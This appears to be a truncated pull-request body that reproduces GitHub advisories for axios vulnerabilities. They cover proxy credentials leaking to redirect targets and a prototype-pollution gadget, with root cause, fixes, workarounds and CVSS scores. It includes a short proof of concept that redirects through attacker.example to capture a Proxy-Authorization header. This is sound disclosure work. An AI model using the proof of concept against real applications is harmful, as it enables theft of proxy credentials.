In the affected flow, the final HTTPS origin receives a Proxy-Authorization header value that was intended only for the outbound proxy.

Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent.

Root Cause Analysis

Based on code review, Axios appears to create the stale header condition in its Node.js http adapter.

In lib/adapters/http.js:

• When a proxy is used, Axios adds Proxy-Authorization in setProxy().
• Axios also re-runs proxy resolution after redirects via its redirect hook.
• However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.

As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.

A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.

Client Conditions

• the initial HTTP request uses an authenticated HTTP_PROXY
• no proxy applies to the redirected HTTPS URL (for example, no HTTPS_PROXY is configured)
• redirects are followed
• the redirect is treated as same-host by the redirect layer

Under that redirect shape, the retained Proxy-Authorization header is not removed before the redirected request is sent to the final HTTPS origin.

Reproduction Outline

Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.

The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.

The issue was confirmed under the following conditions:

• axios 1.13.6
• follow-redirects 1.15.11
• an authenticated proxy applying to the initial HTTP request
• no proxy applying to the redirected HTTPS URL
• redirects enabled
• an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer

Observed behavior

• The initial HTTP request is sent through the proxy and includes Proxy-Authorization.
• The redirected HTTPS request is sent directly to the final origin.
• The redirected HTTPS request still includes the previously generated Proxy-Authorization header.
• The final origin can receive a Proxy-Authorization header value that was intended only for the proxy.

Expected behavior

Axios should not send the Proxy-Authorization header on a redirected request that is no longer sent through a proxy.

Impact

Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained Proxy-Authorization header value that was intended only for the outbound proxy.

If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls.

---

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/axios/axios/security/advisories/GHSA-p92q-9vqr-4j8v
• https://github.com/axios/axios/releases/tag/v0.32.0
• https://github.com/axios/axios/releases/tag/v1.16.0
• https://nvd.nist.gov/vuln/detail/CVE-2026-44487
• https://github.com/advisories/GHSA-p92q-9vqr-4j8v

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection

CVE-2026-44486 / GHSA-j5f8-grm9-p9fc

More information

Details

Summary

Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target.

This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.

Impact

An attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.

The most relevant case is a Node.js application using an authenticated HTTP_PROXY for an initial http:// request, with redirects enabled, where the redirect target resolves to no proxy, such as an https:// URL when HTTPS_PROXY is unset.

This does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with maxRedirects: 0.

Affected Functionality

Affected functionality is limited to the Node.js HTTP adapter in lib/adapters/http.js.

Relevant inputs and settings include:

• HTTP_PROXY, HTTPS_PROXY, and NO_PROXY.
• Authenticated proxy URLs such as http://user:pass@proxy.example:8080.
• Automatic redirect following through follow-redirects.
• Axios proxy handling in setProxy().
• Redirect proxy handling through beforeRedirects.proxy.

Technical Details

In affected v1 releases, setProxy() adds Proxy-Authorization when a proxy with credentials is selected, but redirect handling calls setProxy() again without first clearing any existing proxy authorization header.

If the redirected URL resolves to no proxy, setProxy() does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale Proxy-Authorization header to the final origin.

The v1 fix in afca61a adds an isRedirect path that deletes any case variant of Proxy-Authorization before proxy settings are re-applied on redirect. The v0 backport in 2af6116 fixed the 0.x line for 0.32.0.

Proof of Concept of Attack

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');

Attacker-controlled HTTP endpoint:

HTTP/1.1 302 Found
Location: https://attacker.example/final

Expected result on affected versions:

https://attacker.example/final receives:
Proxy-Authorization: Basic dXNlcjpwYXNz

Expected result on fixed versions:

https://attacker.example/final receives no Proxy-Authorization header

Workarounds

Set maxRedirects: 0 and handle redirects manually.

Avoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.

Ensure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.

Original Source

Summary

Axios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a Proxy-Authorization header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale Proxy-Authorization header is not cleared. As a result, the redirect target can receive the proxy credential directly.

This issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses HTTP_PROXY with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when HTTPS_PROXY is unset or the redirect target is excluded by NO_PROXY.

Details

In the current implementation:

• setProxy() adds Proxy-Authorization when a proxy with credentials is in use.
• On redirects, Axios re-invokes setProxy() for the redirected request.
• If the redirected URL re-evaluates to "no proxy", setProxy() does not clear the previously added Proxy-Authorization header.
• The redirected request therefore reuses the stale header and sends it to the final origin.

Relevant code locations:

• lib/adapters/http.js
• setProxy() adds Proxy-Authorization
• redirect handling re-applies proxy logic through beforeRedirects.proxy
• no cleanup is performed when the recomputed redirect request no longer uses a proxy

PoC

1. The victim sends GET http://<attacker-site>/start
2. The request goes through a local authenticated corp proxy
3. The attacker-controlled HTTP endpoint returns 302 Location: https://<attacker-site>/final
4. The redirected HTTPS request no longer uses a proxy
5. The attacker-controlled HTTPS endpoint receives the stale Proxy-Authorization header

Observed output:

[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz
[attacker-http] GET /start
[attacker-https] GET /final
[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz
Leak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.

This demonstrates that the proxy credential is exposed to the redirect target origin.

Impact

Exposes authenticated proxy credentials to an attacker-controlled origin.

---

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/axios/axios/security/advisories/GHSA-j5f8-grm9-p9fc
• https://github.com/axios/axios/pull/10794
• https://github.com/axios/axios/commit/afca61a070728e717203c2bc21e7b589b59b858b
• https://github.com/axios/axios/releases/tag/v0.32.0
• https://github.com/axios/axios/releases/tag/v1.16.0
• https://nvd.nist.gov/vuln/detail/CVE-2026-44486
• https://github.com/advisories/GHSA-j5f8-grm9-p9fc

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

axios Vulnerable to Credential Theft and Response Hijacking via Prototype Pollution Gadget in Config Merge

CVE-2026-44495 / GHSA-3g43-6gmg-66jw

More information

Details

Summary

Axios versions before the fixed releases contain prototype-pollution gadgets in request config processing. If another vulnerability in the same JavaScript process has already polluted Object.prototype.transformResponse, affected Axios versions may treat that inherited value as request configuration or as an option validator.

Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.

Impact

For ordinary prototype-pollution primitives that can only assign JSON-like values, this issue primarily results in request failures or denial-of-service attacks.

If the attacker can pollute Object.prototype.transformResponse with a function, affected versions of Axios may execute it. In fully affected versions, the function can observe response data and request config, including URL, headers, and auth, and can change the response data returned to application code.

This function-valued condition is important. Most query-string or JSON parser prototype-pollution bugs cannot create JavaScript functions on their own, so credential exposure and response tampering are conditional rather than automatic consequences of such bugs.

Affected Functionality

The affected functionality is Axios request config processing and response transformation.

Affected use requires all of the following:

• An affected Axios version.
• A polluted Object.prototype in the same process or browser context.
• Pollution before Axios merges or validates the request config.
• A polluted key relevant to Axios config, especially transformResponse.

This is not specific to the Node HTTP adapter. Browser and Node usage can both pass through the shared config/transform pipeline, though real-world exploitability depends on the surrounding application and

✂ Note

PR body was truncated to here.